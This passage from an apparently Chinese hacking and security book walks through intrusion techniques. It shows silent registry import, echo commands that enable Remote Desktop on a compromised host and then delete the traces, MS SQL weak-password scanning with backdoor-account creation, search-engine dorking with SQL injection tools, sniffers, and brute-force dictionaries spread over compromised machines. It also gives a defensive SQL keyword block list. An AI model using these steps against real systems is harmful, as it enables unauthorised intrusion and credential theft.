步骤3：单击“确定”按钮之后，在桌面上双击该文件，即可将该文件导入到注册表中。此时打开注册表编辑器窗口，即可看到在HKEY_CURRENT_USER\Software\中已经成功建立了HACK主键，如图5-52所示。

步骤4：在记事本中输入如下代码并将其另存为test2.reg文件之后，再将其导入到注册表，这时即可在注册表中看到在HACK主键下已经成功建立一个名为“NAME”，类型为“DWORD”，值为“00000000”的键值项，如图5-53所示。

REGEDIT4

[HKEY_CURRENT_USER\Software\HACK]

"NAME"=dword:00000000

图5-52　建立的HACK的主键

图5-53　建立的name键值项

实例2：本例的作用是把上一个实例中建立的注册表信息删掉，其操作步骤如下。

步骤1：删除建立的name键值项。用记事本打开test2.reg文件之后，再修改最后一行代码，将其另存为TEST3.REG文件之后，双击将其导入注册表，此时NAME项即被删掉。

修改完成后的代码如下。

REGEDIT4

[HKEY_CURRENT_USER\Software\HACK]

"NAME"=-

步骤2：删除主键。用记事本打开test1.reg文件之后，在其中修改最后一行代码（在“HKEY_CURRENT_USER”前键入减号）并将其另存为test4.reg，双击将其导入注册表即可删掉HACK主键。

修改完成后的代码如下。

REGEDIT4

[-HKEY_CURRENT_USER\Software\HACK]

2.命令导入注册表

入侵者如果采用双击注册表文件，将注册表信息导入到注册表的方法，将会因为出现如图5-54所示的信息提示框，而很容易被远程计算机管理员发现。如何才可以实现在命令行将reg文件导入到注册表而不会产生询问提示框呢？

图5-54　“导入注册表”提示框

下面讲述一下入侵者如何把reg文件导入注册表的方法：

·使用专门的注册表导入工具来实现。这种方法带有一定的危险性，可能会导致系统无法正常运行。

·使用Windows系统自带的命令，不用使用其他工具即可实现。注册表文件导入命令为regedit/s<REG文件>，，其中参数/s表示不需询问而直接把reg文件导入注册表<reg文件>。

3.远程关机方法

在修改完注册表之后，只有远程主机重启后才能生效，下面介绍入侵者常用关闭远程计算机的方法。

通过“计算机管理”窗口关闭远程主机，具体的操作步骤如下。

步骤1：右击桌面上的“我的电脑”图标，在弹出的快捷菜单中选择“管理”菜单项，即可打开“计算机管理”窗口，如图5-55所示。

步骤2：右击“计算机管理”选项，在弹出的快捷菜单中选择“连接到另一台计算机”菜单项，即可打开“选择计算机”对话框，如图5-56所示。

图5-55　“计算机管理”窗口

图5-56　“选择计算机”对话框

步骤3：在“这个管理单元将始终管理”栏中选择“另一台计算机”单选项之后，在右侧文本框中输入目标计算机的IP地址，或通过浏览选择目标主机，即可在“计算机管理”窗口左侧“计算机管理”目录中显示目标计算机的IP地址，如图5-57所示。

步骤4：右击“计算机管理（192.168.0.9）”选项之后，在弹出的快捷菜单中选择“属性”选项，即可打开“计算机管理（192.168.0.9）属性”对话框，如图5-58所示。

图5-57　显示目标计算机的IP地址

图5-58　“计算机管理（192.168.0.9）属性”对话框

步骤5：切换到“高级”选项卡之后，在“启动和故障修复”栏目中单击“设置”按钮，即可打开“启动和故障修复”对话框，如图5-59所示。

步骤6：单击“关机”按钮，即可打开“关机”对话框，如图5-60所示。在“操作”栏目中选择要在连接的计算机上执行的操作，在“强制应用程序关闭”栏目中，选择关闭或重新启动计算机时是否强制关闭应用程序。

步骤7：在设置完毕之后，单击“确定”按钮，即可关闭或重新启动连接的计算机。

图5-59　“启动和故障修复”对话框

图5-60　“关机”对话框

4.用Shutdown命令关机

使用Windows XP/7中的Shutdown命令来完成远程关机。Shutdown.exe的使用方法很简单，在命令提示符中输入“shutdown”命令就可以查看帮助，如图5-61所示。在使用Shutdown前，要与远程主机建立IPC$连接之后，才能使用Shutdown命令。

下面是shutdown命令常用的几个参数：

·i：显示GUI界面，必须是第一个选项。

·l：注销（不能与选项/m一起使用）。

·s：关闭此计算机。

·r：关闭并重启动此计算机。

·a：中止系统关闭。

·m\\computername：指定目标计算机。

·t xx：设置关闭的超时为×××秒。

·c"comment"：关闭注释（最大为127个字符）。

·f：强制运行的应用程序关闭而没有警告。

·d[u][p]：xx：yy：关闭原因代码。其中u是用户代码；p是一个计划的关闭代码；xx是一个主要原因代码（小于256的正整数）；yy是一个次要原因代码（小于65536的正整数）。

图5-61　用shutdown命令查看帮助信息

5.3.5　通过注册表开启终端服务

通过注册表开启目标计算机终端服务的方法非常隐藏、实用，而且不需要上传文件，但前提是攻击者必须已经获得了目标计算机中CMD SHELL的SYSTEM权限。下面来看Windows XP和Windows Server 2003终端的开启。

开启的REG文件代码如下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]

"fDenyTSConnections"=dword:00000000

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]

"PortNumber"=dword:00000D3D

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]

"PortNumber"=dword:00000D3D

1）用以下ECHO代码编写一个3389.reg的注册表文件。

echo Windows Registry Editor Version 5.00>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>> 3389.reg

echo "fDenyTSConnections"=dword:00000000>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ Wds\rdpwd\Tds\tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

2）在CMD SHELL窗口中粘贴以上ECHO代码，生成3389.reg注册表文件。

3）执行“regedit/s 3389.reg”命令，将3389.reg文件的注册信息加入到目标计算机的注册表中。

4）执行“del 3389.reg”命令，将生成的3389.reg文件删除，这样，在Windows XP/2003操作系统下，不需要重启系统就可以打开终端服务了。

如果用户想改变端口，只需把上面ECHO代码中“PortNumber”对应的“D3D”改成相应十进制数的十六进制形式就可以了。如果要关闭终端服务只需把"fDenyTSConnections"=dword：00000000改成"fDenyTS Connections"=dword：00000001就可以了。

5.4　实现MS SQL入侵

MS SQL是微软公司架设在Windows系统上的一款高性能、全方位服务的数据库服务器，与微软公司的另一款数据库Microsoft Access相比，其优点在于MS SQL性能更好、更加专业，因而常常被大公司用来建设庞大的数据库服务器，来提供客户查询、提交货单等服务。MS SQL的认证机制同Windows系统一样，都是基于账号/密码的认证。如果口令设置不当，即存在弱口令，必然会导致安全问题。

5.4.1　用MS SQL实现弱口令入侵

获得远程服务器的口令有很多方法，也有很多工具，这里介绍几种常见的获得MS SQL服务器的SA口令工具。

1.X-Scan

X-Scan采用多线程方式对指定IP地址段（或单机）进行安全漏洞检测，支持插件功能，它提供了图形界面和命令行两种操作方式，扫描内容包括：远程操作系统类型及版本，标准端口状态及端口BANNER信息，CGI漏洞，IIS漏洞，RPC漏洞，SQL-SERVER、FTP-SERVER、SMTP-SERVER、POP3-SERVER、NT-SERVER弱口令用户，NT服务器NETBIOS信息等，扫描结果保存在/log/目录中，index_*.htm为扫描结果索引文件。

使用X-Scan扫描SQL弱口令的操作步骤如下。

步骤1：打开X-Scan v3.3运行程序，即可看到其主窗口，如图5-62所示。

步骤2：在X-Scan运行窗口中，选择“设置”→“扫描参数”菜单项，即可打开“扫描参数”对话框，如图5-63所示。在左边切换到“检测范围”选项卡，在“指定IP范围”文本框中输入要检测的IP地址范围。

步骤3：切换到“全局设置”栏目中的“扫描模块”选项卡，在其中勾选“SQL-Server弱口令”复选框，如图5-64所示。

图5-62　X-Scan运行主窗口

图5-63　“扫描参数”对话框

图5-64　设置扫描内容

步骤4：单击X-Scan主窗口中的“扫描”按钮，即可开始扫描。在扫描完毕之后，即可看到以网页形式出现的扫描结果（从中可以得到SQL的SA口令），如图5-65所示。

图5-65　扫描报告

2.流光

流光是一个绝好的FTP、POP3解密工具，但流光限制了所能扫描的IP范围，不允许扫描国内IP地址。因此，入侵者为了能够最大限度地使用流光，在使用流光之前，往往会用专门的破解程序对流光进行破解，去除IP范围和功能上的限制。

使用流光探测SQL弱口令的具体操作步骤如下。

步骤1：下载并安装流光软件，打开流光主窗口，如图5-66所示。选择“探测”→“高级扫描工具”菜单项，如图5-67所示。

图5-66　流光主窗口

图5-67　选择“扫描”→“高级扫描工具”菜单项

步骤2：打开“高级扫描设置”对话框，在“设置”选项卡中填入起始IP地址、结束IP地址，并选择目标系统之后，再在“检测项目”列表中勾选“SQL”复选框，如图5-68所示。

步骤3：在设置完毕之后切换到“SQL”选项卡，在其中勾选“对SA密码进行猜解”复选框，如图5-69所示。

图5-68　“高级扫描设置”对话框

图5-69　切换到“SQL”选项卡

步骤4：在设置完毕之后，单击“确定”按钮，即可打开“选择流光主机”对话框，如图5-70所示。单击“开始”按钮，即可开始扫描，扫描完毕的结果如图5-71所示。在其中可以看到如下的主机SQL弱口令。

SQL->  猜解主机  192.168.0.7  端口  1433 ...sa:123

SQL->  猜解主机  192.168.0.16  端口  1433 ...sa:NULL

图5-70　“选择流光主机”对话框

图5-71　查看扫描结果

步骤5：此外，还可以使用SQL主机扫描方式。在流光主界面中，选择“探测”→“扫描POP3/FTP/NT/SQL主机”菜单项，如图5-72所示。或使用“Ctrl+R”快捷键，即可打开“主机扫描设置”对话框，在其中设置扫描的IP地址范围，并从“扫描主机类型”下拉列表中选择“SQL”选项，如图5-73所示。

步骤6：在设置完毕之后，单击“确定”按钮，即可开始扫描，具体扫描的结果如图5-74所示。

图5-72　流光主界面

图5-73　“主机扫描设置”对话框

通过这种方法进行扫描，流光还会把扫描结果添加在其主窗口左侧的“目标主机”管理器中，如图5-75所示。

图5-74　扫描结果

图5-75　“目标主机”管理器

3.SQLScan

SQLScan通过连接MS SQL服务器1433端口，可以扫描特定的主机或某一范围内的主机，通过字典文件可以扫描SQL口令和多个口令，以及创建新的秘密的管理口令到那些容易遭受攻击的服务器上面，但如果是xp_cmdshell将不能创建新的秘密的管理口令。

运行SQLScan主程序，即可打开其主窗口，在其中可设置要扫描的各项属性。在设置完毕之后，单击“Start Scan”按钮，即可开始进行扫描，其扫描结果如图5-76所示。

图5-76　用SQLScan进行扫描的结果

各个选项的含义如下：

·IP Range：可以扫描iprange.txt中指定的IP。

·Username：预扫描的账号，如“sa”。

·Password：账号的密码，只能探测一个密码，所以一般不选择此项。

·Dictionary File：使用字典dict.txt中的密码来探测。

·Create Backdoor Accout：在扫描器扫描到弱口令后，马上建立后门账号。

5.4.2　入侵MS SQL主机

入侵者还可以通过MS SQL服务器控制Windows系统，即入侵MS SQL主机。需要说明的是，入侵MS SQL数据库与入侵MS SQL主机是不同的。前者是指入侵者远程访问、控制MS SQL数据库服务器，对数据库进行添加、修改数据等操作，这是在得到MS SQL的管理权限认证后能够实现的操作。而后者是指入侵提供MS SQL服务器的计算机，其结果不只是添加、修改数据等操作，而是完全控制该计算机，能够对该计算机的进程、文件、硬件等进行管理操作。

下面通过实例来介绍入侵过程。

1）获得MS SQL口令。通过扫描获得192.168.0.7的sa账号密码为1 。

2）入侵。在获得MS SQL服务器的管理员账号/密码后，入侵者就已经获得了MS SQL服务器的最高权限。

如何通过MS SQL服务器来控制提供SQL服务的主机呢？下面以流光自带的SQL工具为例介绍其入侵过程，具体的操作步骤如下。

步骤1：在流光主窗口中选择“工具”→“MS SQL工具”→“SQL远程命令”菜单项，或直接使用“Ctrl+Q”快捷键，即可打开“SQL远程命令工具”对话框，如图5-77所示。

图5-77　“SQL远程命令”对话框

步骤2：在“主机”文本框中输入要连接主机的IP地址192.168.0.7之后，在其中输入用户名和密码。

步骤3：在设置完毕之后，单击“连接”按钮，即可与远程主机进行连接。如果用户名和密码正确，即可得到SQL服务器的命令窗口，如图5-78所示。

图5-78　SQL服务器命令窗口

5.4.3　MS SQL注入攻击与防护

很多黑客都是通过SQL注入来实现对网页服务器攻击的，这个攻击到底是如何实现的呢？下面简单介绍一下通过“阿D SQL注入工具”的实现方法。

“阿D SQL注入工具”的具体使用步骤如下。

步骤1：在搜索引擎的搜索栏中输入“CompHonorBig.asp？id=”之后，将会搜索到很多结果，如图5-79所示。

图5-79　打开搜索引擎的搜索栏

步骤2：在运行“阿D SQL注入工具”主程序之后，即可打开“阿D SQL注入工具”主窗口中，在其中进行SQL注入，如图5-80所示。

图5-80　“阿D SQL注入工具”主窗口

步骤3：将要注入的地址输入到“阿D SQL注入工具”的地址栏中之后，单击“检测”按钮，即可进行表段、字段等的检测，从而猜解出网站管理员的密码、后台的入口地址，如图5-81所示。

这样，就可以到后台进行相当于管理员的操作了。

像阿D SQL注入工具中猜解表名、密码、后台地址等，都是通过本地文件中的相应列表来进行一个个对比达到猜解目的。因此，想要防范这类注入并不难，用户只需在设计数据库时，把表段名、字段名等设为不太常用的名称即可。这样，像阿D SQL注入工具这一类注入工具就失效了，也就达到防范黑客注入攻击的目的了。

图5-81　阿D SQL注入工具

5.4.4　用NBSI软件实现MS SQL注入攻击

NBSI（网站安全漏洞检测工具，又叫SQL注入分析器）是一套高集成性Web安全检测系统，是由NB联盟编写的一个非常强的SQL注入工具，可以检测出各种SQL注入漏洞并进行解码，提高猜解效率。

使用NBSI的具体操作步骤如下。

步骤1：运行NBSI主程序，即可打开NBSI主操作窗口，如图5-82所示。如果已知一个注入点，则可以在注入地址处填入注入点的url，否则，可直接对欲入侵网站进行全面扫描。

图5-82　NBSI的注入分析窗口

步骤2：选择“网站扫描”图标项，在网站地址栏中输入要入侵的网站地址之后，选择“全面扫描”单选钮并单击“扫描”按钮，即可开始进行扫描。如果存在漏洞，将会列出漏洞地址及其注入性的高低，如图5-83所示。

图5-83　显示网站扫描结果

步骤3：在扫描结果中选择一个“可能性极高”的地址，这个地址将会显示在“注入地址”文本框中（如果扫描结果中没有可能性极高的地址，则可以选择可能性中等的地址进行测试），单击“注入分析”按钮，自动切换到窗口之后，单击“检测”按钮，即可开始检测数据库类型并得到分析结果，右上角写出了当前的数据库名、连接账号及权限等信息，如图5-84所示。

图5-84　注入分析结果

提示

这里将得到一个数字型+oracle数据库的注入点，ASP+MSSQL型的注入方法与其一样，都可以在注入成功之后去读取数据库的信息。

步骤4：如果检测到了漏洞，就可以猜解表名了。在“已猜解表名”文本框下单击“猜解表名”按钮，即可开始进行猜解。在猜解完毕之后，将会在“已猜解表名”文本框中显示出数据库的表名，如图5-85所示。

图5-85　猜解表名

步骤5：在选择其中的一项表名之后，再开始猜解列名，猜解列名的方法与猜解表名的方法相同，选中要猜解的列名之后，再单击“猜解列名”按钮，就可以得到列中相关信息了。

对所注入站点进行猜解之后，还可以提升用户权限、开启相应服务、遍历其服务器文件、了解服务器上装了什么软件、数据库在哪儿等信息。此时，如果选择一个用户和密码（如果猜解出管理员账号和密码就更好了）进入，就可以为所欲为了。

5.4.5　MS SQL入侵安全解决方案

SQL注入漏洞是由于程序编写人员没有对用户提交的数据进行安全过滤造成的，防火墙与杀毒软件对SQL注入是难以防范的，因为SQL注入入侵跟普通的Web页面访问没什么区别，而且一个服务器上放置的网站往往有很多个，服务器管理员不可能挨个网站挨个页面审查其是否存在SQL注入漏洞。

SQL注入入侵是根据IIS给出的ASP错误信息来入侵的，因此可以通过配置IIS和数据库用户权限的方法，来对错误提示信息进行设置，以实现防范SQL注入的入侵。

具体的操作步骤如下。

步骤1：选择“控制面板”→“管理工具”→“Internet信息服务”菜单项，即可打开“Internet信息服务”窗口，如图5-86所示。

步骤2：在其中展开左侧的“本地计算机网站”→“网站”选项之后，右击其中的“默认网站”选项，并在弹出的快捷菜单中选择“属性”菜单项，即可打开“默认网站属性”对话框，如图5-87所示。

图5-86　“Internet信息服务”窗口

图5-87　“默认网站属性”对话框

步骤3：在“自定义错误”选项卡中选择“HTTP错误”选项区下的“500：100”选项，如图5-88所示。单击“编辑属性”按钮，即可打开“错误映射属性”对话框，在其中将“消息类型”选项设为“默认值”，如图5-89所示。

图5-88　“HTTP错误”选项卡

图5-89　“错误映射属性”对话框

步骤4：为每个网站设置好执行权限。给静态网站以“纯脚本”权限，对于那些通过网站后台管理中心上传的文件所存放文件夹，执行权限需设为“无”，经过这样设置之后，就是入侵者上传木马成功，也是不能运行的。

步骤5：对于数据库用户的权限配置，赋予SA级别的权限时一定要慎重。

此外，网站程序员还需要在程序代码编写上防范SQL注入入侵，具体的方法如下：

·仔细检测客户端提交的变量参数。利用一些检测工具对用户通过网址提交的变量参数进行检查，发现客户端提交的参数中有“exec、insert、select、delete、from、update、count、user、xp_cmdshell、add、net、Asc”等用于SQL注入的常用字符时，立即停止执行ASP并给出警告信息或转向出错页面。

·对重要数据进行加密。比如用MD5加密，MD5没有反向算法，也不能解密，这样就可以防范对网站的危害了。

对于普通用户，则可以通过如下途径来防范注入攻击：

·尽量不使用整站程序作为自己网站程序的核心。

·如果使用了整站程序，尽量关注其官方网站的更新，及时打补丁。

·在为网站数据库起名时，尽量不要取那些看起来意义明显的名字。这样，即使用户名和口令被猜解了出来，入侵者也不易知道哪些信息是对其有用的。

5.5　获取账号密码

只要主机存在基于“用户名/密码”模式的认证，就必然存在“口令攻击”问题，但实际上并不是每台主机都存在弱口令，对于不存在弱口令的远程主机，入侵者又是如何获取密码，实现基于认证的入侵呢？

一般来说，入侵者可以通过以下几个手段来获取远程主机的管理员密码：

·弱口令扫描：入侵者通过扫描大量主机，从中找出一两个存在弱口令的主机。

·密码监听：通过嗅探器来监听网络中的数据包，从而获得密码，对付明文密码特别有效，如果获取的数据包是加密的，还要涉及解密算法。

·社会（交）工程学：通过欺诈手段或人际关系获取密码。

·暴力破解：使用密码的终结者获取密码只是时间问题（如本地暴力破解、远程暴力破解等），还可以使用其他方法（如在入侵后安装木马或安装键盘记录程序等）。

5.5.1　用Sniffer获取账号密码

嗅探器（Sniffer）也称网络嗅探器，可以是硬件也可以是软件，是比较专业的网络分析工具，是用来帮助网络管理员或网络设计师获取网络数据流向，进而分析网络性能与故障的工具。

在广播型以太网中，计算机在通信时是把数据包发往网络内的所有其他计算机，但只有发信者所指定的那台计算机才会把数据包接收下来，然而网络上的其他计算机同样会看到这个数据包，正常情况下，这些非指定接收的计算机应该丢弃不是发给自己的数据包，但装Sniffer的计算机会把网络上所有的数据接收下来进行分析。

1.Sniffer的工作环境

Sniffer只能工作在广播型的以态网中。在常见网络中，由Hub（集线器）为核心的组网属于广播网，可以使用Sniffer来监听网络数据包，而由Switch（交换机）或Router（路由器）为核心的组网则属于非交换网，Sniffer除了能抓到自己的数据包外，无法获取其他计算机的通信数据包，此时Sniffer完全失去作用。但也并不是绝对的，有些Switch（交换机）也可以按照广播方式工作，此时可以把它当成一个大型Hub，具体情况要视该网络的网络设计师如何使用这些网络设备。

一般来说，局域网都属于广播型网络，如网吧、校园网、小区网。此外，Sniffer无法嗅探到跨路由或交换机以外的数据包，也就是说，Sniffer不能直接嗅探到所在网络之外其他计算机的数据包。

2.关于Sniffer的补充说明

Sniffer可以用来获取本来不属于自己的数据包，如果被入侵者安装在网络中的关键节点上，后果将不堪设想。Sniffer是广播网络的杀手，但广播网络设备造价便宜、维护方便，又是其他类型网络所不能代替的。

为了解决广播型网络容易被嗅探这个问题，出现了数据包在传输中的加密技术，这样，即使被Sniffer抓到数据包，也是经过加密的，由此即可加大获取原数据包内容的难度，减少Sniffer带来的安全隐患。

信息数据在传输过程中是否加密完全取决于通信软件本身，虽然加密技术很大程度上降低了Sniffer获取账号/密码的可能性，但也并不是所有通信软件都可以把自己发送的数据包加密，而且加密程度也参差不齐，如IE5.0的密钥长度为56位，IE6.0的密钥为128位，而某些通信软件仍然使用明文传输。

3.常见的Sniffer工具

目前，市场上已经有很多Sniffer工具软件，如Windows环境下最负盛名的Netxray工具和Sniffer pro工具，均可实现在Windows系统环境下抓包来分析。

（1）Sniffer Pro

网络协议分析软件Sniffer Pro支持各种平台，性能优越，其安装界面如图5-90所示。

图5-90　“Sniffer Pro”主窗口

在其中可以看到三个表，第一个表显示的是网络的使用率（Utilization），第二个表显示的是网络每秒钟通过的包数量（Packets），第三个表显示的是网络每秒的错误率（Errors），通过这三个表可以直观地观察到网络的使用情况，扇形部分显示根据网络要求设置的上限，页面下半部分显示更为详细的网络相关数据曲线图。

在对相关选项进行设置之后，就可以对某台主机进行抓包了，具体的操作步骤如下。

步骤1：选择“Monitor”→“Host Table”菜单项，即可打开“主机列表”窗口，如图5-91所示。

步骤2：选择“192.168.0.5”主机之后，单击“捕获”工具栏上的Define Filter（定义过滤器）按钮，即可打开“Define Filter–Capture”对话框，如图5-92所示。

图5-91　“主机列表”窗口

图5-92　“Define Filter–Capture”对话框

步骤3：设置摘要信息、地址选项、数据模式、缓冲区等选项。通过“Address”选项卡可以设置基本的捕获条件，如图5-93所示。通过“Data Pattern”（数据模式）选项卡可以设置任意的捕获条件。通过“Advanced”（高级）选项卡可以协议作为捕获条件，若一个都不选，则表示捕获所有协议，如图5-94所示。通过“Buffer”（缓冲）选项卡可以设置缓冲区的大小、捕获报文保存路径等选项。

图5-93　设置基本捕获条件

图5-94　设置高级选项

注意

在设置任意的捕获条件时，请仔细考虑设置的条件，若设置不当，则可能捕获的数据包很少，甚至捕获不到。

步骤4：单击左边的捕获按钮，即可弹出一个“Expert”窗口。当捕获工具栏上的“停止并显示”按钮变为有效时，单击该图标即可对所捕获数据进行查看，选择任务栏上的“Decode”选项，即可看到所捕获到的所有包，如图5-95所示。

图5-95　查看捕获结果

在捕获数据包的过程中，也可以通过Matrix（网络连接）、Bar（流量列表）、Detail（协议列表）等来查看全网的连接情况、整个网络中的机器所用带宽前10名的情况、整个网络中的协议分布情况等，具体的网络连接情况如图5-96所示，其中粗线表示正在发生的网络连接，圆中细线表示过去发生的连接，将鼠标放到线上即可看出连接情况。

图5-96　查看网络连接情况

Sniffer Pro还可以抓Telnet密码、FTP密码、HTTP密码等，具体过程都是设置抓包规则后进行抓包，再运行相应的命令，最后就可以对抓包结果进行查看了。

此外，Sniffer Pro还具有报文发送、网络监视、解码分析等功能，可以通过Sniffer Pro帮助文件来获得这方面的信息，也可以在使用过程中借助相应工具书来学习。

（2）SQLServerSinffer

SQLServerSniffer是用于局域网中获取SQL SERVER密码的嗅探器工具，增加了嗅探端口列表和结果输出功能。

该工具在命令行下使用，使用的命令格式为SQLServerSniffer<SQL-Server Port>，参数“<SQLS-erver Port>”是SQL服务器的端口，一般是1433端口，如图5-97所示。

图5-97　用SQLServerSniffer嗅探SQL密码

但SQLServersniffer本身不能够产生嗅探结果的报告文件，为了加上这个功能，可以使用Dos命令中“>>”符号解决。给SQLserversniffer加上一个参数“>>result.txt”，表示把嗅探结果添加到>>result.txt文件中。

（3）X-WAY

在X-WAY自带工具箱中有个Sniffer功能，该Sniffer简单实用，不需要设置，直接单击“开始捕获”按钮进行监听，如图5-98所示。可以用X-WAY中的Sniffer来查看被冲击波病毒感染的网络状况（其中目的地址*.*.*.255对应的源地址就是已经感染冲击波病毒的计算机），如图5-99所示。

图5-98　X-WAY中的嗅探器

图5-99　用Sniffer来查看被冲击波病毒感染的网络状况

至此，对于一位负责的网管应该感到惊慌了，因为使用Sniffer能够在网管完全没有察觉的情况下盗走密码，如果是一位勤劳的网管，那么他已经做到了：寸步不离地守候在服务器前，总是在第一时间给服务器打补丁，从来不执行非法程序。如果系统仍然被入侵了，就应该考虑一下管辖的局域网内是不是存在Sniffer了。

5.5.2　字典工具

暴力破解是密码的终结者，当入侵者无法找到目标系统的缺陷时，暴力破解便是最好的方法。此时，只需要安排合理的字典文件和充足的时间即可。通过了解入侵者使用何种工具、按照何种规则制作的字典文件，可以帮助网管们使用更有利的密码，进而避开暴力破解攻击。

1.黑客字典介绍

小榕的“黑客字典”有两种版本，一种是可以单独使用的程序，另一种是嵌在流光的黑客字典工具，它们的功能完全相同。

（1）基本设定

在基本设定中可以设定单词中字母和数字的数目、范围。例如，设定字母数为3，数字数为2，字母范围为a~z，数字范围为0~9。这样产生的字典是aaa00~22299的所有组合，也可以只选定字母或数字。在基本选项中还有一个符号的选项，如果选中，则字母组合为所选的字母范围加上符号（对应于ASCII码中的33~47）。

（2）基本选项（需要注册）

·所有字母大写

对应于前面的设定，产生的字典范围：AAA00~22299。

·首字母大写

对应于前面的设定，产生的字典范围：Aaa00~22299。

·数字在字母前

对应于前面的设定，产生的字典范围：00aaa~99222。

·使用LF间隔

一般解密软件所使用的字典要求每个单词间用LF和CR作为间隔，但也有要求只用LF作间隔的。

·只使用辅音字母

（3）高级选项（需要注册）

在高级选项中可以自由地定制单词的形式。

·使用高级选项生成字典

如果使用这种方式来产生字典，可以对字典的每一位进行定制。例如，可以定制第一位是字母，第二位为数字，第三位为字母，第四位为符号等。这些字母或数字的范围取决于“基本选项”中的设定。如果没有设定，则默认字母从a~z，数字从0~9。

·定制每一个位置字母的范围

这个功能的使用方法为：先在C盘的根目录下建立一个命名为CustBanyet.Def的文本文件（纯文本），在这个文件中输入单词中每一位的范围（每一行代表一位，超过8行则8行后自动舍弃，每行字符数不大于40），如：

abcdefghijklmnopqrstuvwxyz 

23456

/!@#$%

ABC

如果文件像上面一样，则产生的字典中每一个单词第一位的范围，就是第一行的字符串范围（abcdefghijklmnopqrstuvwxyz），第二行的范围就是第二行的字符串，然后依次类推（在C：\CustBanyet.Def文件建立之前，该选项是无效的）。

（4）产生字典

在设定完成之后，将会看到一个对话框，其中包含了设置字典情况的信息。如果一切无误，单击“开始”按钮，即可生成字典，否则需要在清除后重新设定。

2.黑客字典的实际应用

打开流光主窗口，如图5-100所示。选择“工具”→“字典工具”→“黑客字典III-流光版”菜单项，如图5-101所示。或使用“Ctrl+H”快捷键，即可打开“黑客工具流光版”对话框，如图5-102所示。

图5-100　“流光”主窗口

图5-101　单击“黑客字典III-流光版”菜单项

图5-102　“黑客字典流光版”对话框

下面给大家介绍3种生成密码文件的方法：

1）入侵者使用黑客字典流光版，来产生一个符合如下要求的密码文件。

·3位字母（a~g）和2位数字（0~9）的组合。

·首字母为大写。

·数字在字母之后。

其具体的操作步骤如下。

步骤1：打开黑客字典流光版，在“设置”选项卡中选择字符种类（根据要求，这里选择3个“字母”和2个“数字”的组合，字母范围从a~g，数字范围从0~9），如图5-103所示。

步骤2：在设置完毕之后，切换到“选项”选项卡中确定字符的排列方式，勾选“仅仅首字母大写”复选框，由于默认就是“字母在前、数字在后”，所以该处不用选择，如图5-104所示。

图5-103　“设置”选项卡

图5-104　“选项”选项卡

步骤3：切换到“文件存放位置”选项卡，如图5-105所示。单击“浏览”按钮，即可打开“另存为”对话框，如图5-106所示。

图5-105　“文件存放位置”选项卡

图5-106　“另存为”对话框

步骤4：在“文件名”文本框中输入文件名之后，单击“保存”按钮，可看到文件存储位置，单击“确定”按钮，即可看到字典属性，如图5-107所示。

步骤5：如果和要求一致，单击“开始”按钮，即可生成密码字典。打开生成的字典，如图5-108所示。

2）使用“高级选项”来产生一个如下要求的密码文件。

·3位字母（a~g）和2位数字（0~9）的组合。

·首字母为大写。

·数字在第3、4位，字母在第1、2、5位。

图5-107　“字典属性”对话框

图5-108　生成字典

其具体的操作步骤如下。

步骤1：打开黑客字典，其中“设置”“选项”选项卡中的参数与（1）相同，这里需要设置“高级选项”选项卡，在“字母位置”栏目中勾选“1、2、5”复选框，在“数字位置”栏目中勾选“3、4”复选框，如图5-109所示。

步骤2：在“文件存放位置”选项卡下设置好文件的存放位置之后，产生的高级字典属性如图5-110所示。

图5-109　“高级选项”选项卡

图5-110　“高级字典属性”对话框

步骤3：如果字典属性符合自己的要求，单击“开始”按钮，即可生成字典文件。图5-111所示即为打开生成的字典文件。

3）在实际中，密码一般为6位、8位，这样的密码字典文件往往很大，体积有几十兆字节，如果只用一台主机进行暴力破解恐怕需要几十年、几百年，所以入侵者常常把这种体积过大的密码文件分割成很多份，上传到几十台、几百台“肉鸡”上，让不同的“肉鸡”来破解不同的密码文件。

黑客字典中自带了文件拆分的功能，下面介绍如何使用黑客字典流光版把庞大的密码文件分成若干小份。其密码要求如下：

图5-111　生成的高级字典文件

·6位字母（A~G）和2位数字（0~9）的组合。

·首字母为大写。

·数字在第3、4位，字母在第1、2、5、6、7、8位。

·文件拆分成10份。

具体的操作步骤如下：

步骤1：打开黑客字典流光版，在“设置”选项卡下设置字母范围为A~G，其他的属性保持不变，如图5-112所示。

步骤2：切换到“选项”选项栏中确定字符的排列方式，根据要求勾选“仅仅首字母大写”复选框，如图5-113所示。

图5-112　“设置”选项卡

图5-113　“选项”选项卡

步骤3：切换到“高级选项”选项卡并设置其中的各项，具体的属性设置如图5-114所示。

步骤4：切换到“文件存放位置”选项卡，在设置好文件的名字和存放的位置之后，勾选“拆分文件”复选框，并设置将文件拆分成10部分，如图5-115所示。

图5-114　“高级选项”选项卡

图5-115　“文件存放位置”选项卡

步骤5：单击“确定”按钮，即可看到设置高级字典的属性，如图5-116所示。如果字典属性符合自己的要求，单击“开始”按钮，即可生成字典文件，然后打开生成的密码字典文件，如图5-117所示。

图5-116　设置的字典高级属性

图5-117　生出的密码字典文件

5.5.3　远程暴力破解

破解密码最常见的方法就是使用字典，如黑客知道了账号，就可以使用字典来破解密码。如果密码恰好在字典中，就会很容易得到这个密码。有一些黑客的破解工具有自带字典。

1.暴力破解NT口令

（1）WMICracker

这是小榕的一款暴力破解NT主机账号密码的工具，是Windows NT/2000/XP/Server 2003的杀手，破解的时候需要目标主机开放135端口，这是大多数主机所满足的。

使用方法：WMICracker.exe<IP><Username><Password File＞[Threads]

·<IP>：目标IP。

·<Username>：待破解密码的账号，必须属于管理员组。

·<Password File>：：密码文件。

·[Threads]：线程数，默认为80，该数值越大，破解速度越快。

假设入侵者使用x-Scan已经扫描到192.168.0.7这台计算机上有一个名字为gloc的管理员权限账号，并认为它的密码符合如下的规则：

·3位字母（a~g）和2位数字（0~9）的组合。

·首字母为大写。

·数字在字母之后。

